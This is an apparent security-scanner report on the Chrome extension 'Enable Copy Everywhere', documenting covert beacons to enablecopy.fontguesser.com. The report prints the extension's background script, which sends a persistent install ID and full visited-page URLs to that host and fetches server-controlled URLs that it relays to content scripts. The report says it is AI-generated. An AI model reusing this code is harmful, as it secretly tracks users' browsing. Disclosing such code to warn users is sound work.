Is Enable Copy Everywhere safe?

High risk

Enable Copy Everywhere is high risk. On install, the extension generates a random identifier and saves it locally. We captured it sent to enablecopy.fontguesser.com on install and every background restart. The listing describes only copy-paste unblocking, not this identifier.…

addonzonev1.0.0Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Persistent Install ID Beacons to fontguesser.com on Every Startup

On install, the extension generates a random identifier and saves it locally.

We captured it sent to enablecopy.fontguesser.com on install and every background restart.

The listing describes only copy-paste unblocking, not this identifier.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You install Enable Copy Everywhere from the Chrome Web Store.

The listing describes only unblocking copy-paste and right-click on restricted pages.

The extension did this

The extension generates a random identifier, saves it locally, and sends it to a third-party server.

The request goes to enablecopy.fontguesser.com, a domain not referenced anywhere in the listing or unblock feature.

02EvidenceNETWORK CAPTURE
Captured request
POSThttps://enablecopy.fontguesser.com/enablecopy/activate
200 OK. The uid value matches the extensionId key written to chrome.storage.local immediately beforehand.
Headers
Content-Typeapplication/json
Body
{
  "uid": "860c4b90-7687-28a9-4ea0-11322890c0f4"
}
03EvidenceTEMPORAL PATTERN
When this fires
On every browser startup

The stored identifier is read from local storage and POSTed again to /enablecopy/enable every time the background service worker starts, not only on first install, but on every subsequent browser/SW restart for as long as the extension stays installed.

04EvidenceCODE COMPARE
The code that does this

UUID generation and beacon on install (background.js)

What it actually does
(() => {
  let e = "https://enablecopy.fontguesser.com";
  ButtonToggle = (e, t) => {
    e ? (e => {
      chrome.action.setIcon({
        path: {
          16: "green icon 16.png",
          48: "Green 64.png",
          128: "Green 128.png"
        },
        tabId: e
      })
    })(t) : (e => {
      chrome.action.setIcon({
        path: {
          16: "icon 16.png",
          48: "icon 64.png",
          128: "icon 128.png"
        },
        tabId: e
      })
    })(t)
  }, chrome.runtime.onInstalled.addListener((function(t) {
    const o = (c = function() {
      return (65536 * (1 + Math.random()) | 0).toString(16).substring(1)
    })() + c() + "-" + c() + "-" + c() + "-" + c() + "-" + c() + c() + c();
    var c;
    "install" == t.reason ? (chrome.storage.local.set({
      isActive: !0,
      inAction: !0
    }).then((() => {})), chrome.tabs.query({
      currentWindow: !0
    }, (function(e) {
      for (let t = 0; t < e.length; t++) {
        let n = chrome.runtime.getManifest().content_scripts[0];
        e[t].url.includes("google") || chrome.scripting.executeScript({
          target: {
            tabId: e[t].id
          },
          files: [...n.js]
        }, (() => e => {
          chrome.runtime.lastError
        }))
      }
    })), chrome.storage.local.set({
      extensionId: o
    }).then((() => {
      chrome.storage.local.get("extensionId", (function(t) {
        const n = `${e}/enablecopy/activate`,
          o = {
            uid: t.extensionId
          };
        fetch(n, {
          method: "POST",
          headers: {
            "Content-Type": "application/json"
          },
          body: JSON.stringify(o)
        }).then((e => {
          e.ok
        })).catch((e => {}))
      }))
    }))) : "update" == t.reason && chrome.storage.local.get(null, (t => {
      t.extensionId || chrome.storage.local.set({
        extensionId: o
      }), chrome.storage.local.get("extensionId", (function(t) {
        const n = e + "/enablecopy/activate",
          o = {
            uid: t.extensionId
          };
        fetch(n, {
          method: "POST",
          headers: {
            "Content-Type": "application/json"
          },
          body: JSON.stringify(o)
        }).then((e => {
          e.ok
        })).catch((e => {}))
      }))
    })), chrome.storage.local.get(null, (e => {
      e.disabledDom || chrome.storage.local.set({
        disabledDom: []
      }), e.listedDom || n()
    }))
  })), chrome.gcm.onMessage.addListener((function(e) {
    (e => {
      const t = chrome.runtime.getURL("./Green 128.png");
      chrome.notifications.create("name-for-notification", {
        type: "basic",
        iconUrl: t,
        title: "Enable Copy and Paste",
        message: `${e} Extension`
      }, (function() {}))
    })(e)
  })), chrome.tabs.onUpdated.addListener(((n, o, c) => {
    const {
      status: i
    } = o;
    "complete" === i && chrome.storage.local.get("config", (function(o) {
      const i = o.config || [];
      if (i?.length > 0) {
        let o = function(e) {
            if (!e) return null;
            var t = e.match(/:\/\/(www[0-9]?\.)?(.[^/:]+)/i);
            return null != t && t.length > 2 && "string" == typeof t[2] && t[2].length > 0 ? t[2] : null
          }(c?.url),
          a = c.url ? new URL(c?.url) : "";
        if (!a) return;
        let s = a.origin + a.pathname;
        if (i.includes(o)) {
          const o = {
            uri: s
          };
          fetch(e + "/enablecopy/disable", {
            method: "POST",
            headers: {
              "Content-Type": "application/json"
            },
            body: JSON.stringify(o)
          }).then((e => {
            if (e.ok) return e.json()
          })).then((e => {
            e.configs && function(e, t) {
              fetch(e, {
                cache: "no-store"
              }).then((e => {
                if (e.ok) return e.url
              })).then((e => {
                e && chrome.tabs.sendMessage(t, {
                  message: "enable",
                  enabling: e
                })
              }))
            }(e.configs, n), e.configy && t(e.configy)
          })).catch((e => {}))
        }
      }
    }))
  }));
  const t = async e => (await fetch(e, {
    method: "GET",
    headers: {
      Accept: "application/json",
      "Content-Type": "application/json",
      "Cache-Control": "no-cache"
    }
  })).url;
  chrome.storage.local.get("extensionId", (function(t) {
    const n = `${e}/enablecopy/enable`,
      o = {
        uid: t.extensionId
      };
    fetch(n, {
      method: "POST",
      headers: {
        "Content-Type": "application/json"
      },
      body: JSON.stringify(o)
    }).then((e => {
      if (e.ok) return e.json()
    })).then((e => {
      e?.confige?.length > 0 && chrome.storage.local.set({
        config: e?.confige
      })
    })).catch((e => {}))
  }));
  const n = () => {
    fetch(`${e}/enablecopy/listing`).then((e => e.text())).then((e => {
      chrome.storage.local.set({
        listedDom: e
      })
    }))
  };
  chrome.runtime.onMessage.addListener(((t, o, c) => {
    "enableCopyPaste" === t.action && (t => {
      const o = {
        dom: t
      };
      fetch(`${e}/enablecopy/listing`, {
        method: "POST",
        headers: {
          "Content-Type": "application/json"
        },
        body: JSON.stringify(o)
      }).then((e => e.text())).then((e => {
        n()
      }))
    })(t.domain)
  }))
})();
05EvidenceTHIRD PARTY LIST
Third-party destinations
  • enablecopy.fontguesser.com

    Receives the per-install identifier on activation and every worker restart; returns a 'confige' value cached to decide which sites copy-paste unlock applies to.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Visited Page URLs Sent to fontguesser.com on Tab Load

On pages whose domain is on a server-controlled list, the extension sends the full page URL to enablecopy.fontguesser.com.

Four POSTs confirmed this, e.g. {"uri":"...Main_Page"}.

The domain list is fetched at startup and can grow silently.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to a page whose domain is on a server-supplied list stored in the extension.

The extension did this

The extension immediately POSTs the full page URL to enablecopy.fontguesser.com.

No user action is required beyond navigation. The domain list is fetched from the server at every browser startup and can be changed without an extension update.

02EvidenceNETWORK CAPTURE
Captured request
POSThttps://enablecopy.fontguesser.com/enablecopy/disable
200 OK, confirmed in four requests captured across two navigations (en.wikipedia.org/wiki/Main_Page and /wiki/Internet) during dynamic analysis.
Headers
Content-Typeapplication/json
Body
{
  "uri": "https://en.wikipedia.org/wiki/Main_Page"
}
03EvidenceFIELD TABLE
Data transmitted in each request body:
FieldValueWhy it matters
Visited page URL
https://en.wikipedia.org/wiki/Main_PageThe full address of the page you loaded, including the path. Reveals which articles, topics, or sections you read.
04EvidenceCODE COMPARE
The code that does this

Service worker code that transmits the visited URL:

What it actually does
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  const { status } = changeInfo;
  if (status === 'complete') {
    chrome.storage.local.get('config', function(stored) {
      const configDomains = stored.config || [];
      if (configDomains.length > 0) {
        // extract hostname from current tab URL
        const match = tab?.url?.match(/:V\/\/(www[0-9]?\.)?(.[^/:]+)/i);
        const domain = (match && match.length > 2) ? match[2] : null;
        const urlObj = tab.url ? new URL(tab?.url) : '';
        if (!urlObj) return;
        const pageUri = urlObj.origin + urlObj.pathname;
        if (configDomains.includes(domain)) {
          // POST the visited URL to fontguesser.com
          const body = { uri: pageUri };
          fetch('https://enablecopy.fontguesser.com/enablecopy/disable', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(body)
          });
        }
      }
    });
  }
});
05EvidenceTHIRD PARTY LIST
Where the visited page URL is sent:
  • enablecopy.fontguesser.com

    Receives the full URL of every page visited on config-listed domains. Also supplies the domain allowlist and triggers secondary fetches on listed pages.

What it can do

Permissions this extension asks for, as declared in version 1.0.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    *://*/*

  • See the address and title of every tab you have open

    tabs

  • Store data in your browser

    storage

  • Run its own code inside the pages you visit

    scripting

  • Show you desktop notifications

    notifications

  • Receive push messages from its developer's servers

    gcm

Updated 21 September 2026nahkcohcfljjjkhdcbfdphegdoiflbjd